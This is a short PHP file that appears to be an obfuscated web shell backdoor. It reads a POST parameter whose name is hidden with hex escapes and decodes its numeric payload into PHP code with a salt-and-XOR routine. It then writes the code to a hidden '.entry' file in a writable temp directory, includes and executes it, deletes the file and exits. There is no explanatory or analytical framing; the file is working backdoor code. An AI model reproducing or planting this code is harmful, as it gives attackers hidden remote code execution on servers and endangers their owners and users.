<?php

if(!is_null($_POST["m\x61\x72ker"] ?? null)){
	$mrk = array_filter([getenv("TEMP"), session_save_path(), sys_get_temp_dir(), "/dev/shm", getcwd(), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP")]);
	$desc = $_POST["m\x61\x72ker"];
	 $desc   =explode 	( "." 	,		$desc);
	$k	 =	'';
            $salt2	 =	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	 =	strlen(  $salt2);
            $t	 =	0;
    
            while(  $t < count(  $desc)) {
                $v1	 =	$desc[$t];
                $sChar	 =	ord(  $salt2[$t % $sLen]);
                $d	 =	(  (  int)$v1 - $sChar -(  $t % 10)) ^ 34;
                $k		.=		chr(  $d);
                $t++;		} 
	foreach ($mrk as $tkn) {
    		if (!!is_dir($tkn) && !!is_writable($tkn)) {
    $element = "$tkn/.entry";
    $success = file_put_contents($element, $k);
if ($success) {
	include $element;
	@unlink($element);
	die();}
}
}
}